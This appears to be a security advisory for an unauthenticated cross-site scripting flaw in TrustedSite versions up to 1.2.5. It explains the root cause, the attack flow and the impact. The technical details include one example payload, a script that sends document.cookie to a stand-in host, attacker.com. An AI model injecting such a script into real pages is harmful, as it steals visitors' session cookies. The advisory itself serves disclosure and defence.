Description

Unauthenticated Cross Site Scripting (XSS) in TrustedSite <= 1.2.5 versions.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "7.1",
  "pubDate": "2026-09-02T12:17:13.163Z",
  "pubdate": "2026-09-02T12:17:13.163Z",
  "executiveSummary": "TrustedSite versions 1.2.5 and below are susceptible to an unauthenticated Cross-Site Scripting (XSS) vulnerability. This security flaw allows remote, unauthenticated attackers to inject malicious client-side scripts into web pages viewed by other users.\nThe vulnerability originates from improper neutralization of user-supplied input before it is rendered in the browser. By leveraging this flaw, an attacker can execute arbitrary JavaScript within the security context of the victim's session.\nSuccessful exploitation can lead to a complete compromise of the user's session, including the theft of session tokens, cookies, or other sensitive information cached in the browser. Furthermore, attackers may perform unauthorized actions on behalf of the user or redirect victims to malicious external websites.\nThe risk to the organization is significant, as the vulnerability does not require authentication, widening the attack surface to any visitor of the affected web application. There are no specialized privileges required for an attacker to initiate this cross-site scripting attack, making it highly accessible for exploitation in various environments.",
  "technicalDetails": "The vulnerability is identified as a Reflected or Stored Cross-Site Scripting (XSS) condition resulting from the application's failure to sanitize or encode input parameters before reflecting them back to the end-user's browser. In TrustedSite versions <= 1.2.5, the application processes user-supplied data in a manner that allows the injection of crafted HTML or JavaScript fragments.\nRoot Cause: The root cause lies in the absence of output encoding and input validation within the components responsible for processing and displaying dynamic content. When the application receives input, it treats the data as trusted content, failing to identify or escape special characters such as <, >, \", and ' that are essential for breaking out of HTML tag attributes or introducing new script blocks.\nAttack Flow: An attacker initiates the exploitation by identifying an input vector (such as a URL parameter, form field, or header) that is subsequently echoed in the application's response. The attacker crafts a malicious payload containing JavaScript, such as '<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>'. When an unsuspecting user navigates to the crafted URL or triggers the reflected input, the application renders the payload directly into the Document Object Model (DOM).\nExecution and Payload Behavior: Once the browser processes the injected script, the script executes within the context of the vulnerable origin. Because the script runs in the user's browser, it gains access to sensitive data associated with the application's domain, including Session IDs stored in document.cookie, LocalStorage, and SessionStorage. The payload can be designed to exfiltrate this data to a remote command-and-control server controlled by the attacker.\nImpact: Beyond session hijacking, this XSS vulnerability enables unauthorized actions. An attacker can manipulate the DOM to alter the visual representation of the page (defacement), perform phishing via simulated interface components, or trigger unauthorized HTTP requests using the user's credentials, effectively bypassing standard authentication controls. The lack of Content Security Policy (CSP) headers or inadequate script-src restrictions exacerbates the impact by allowing the execution of arbitrary external scripts."
}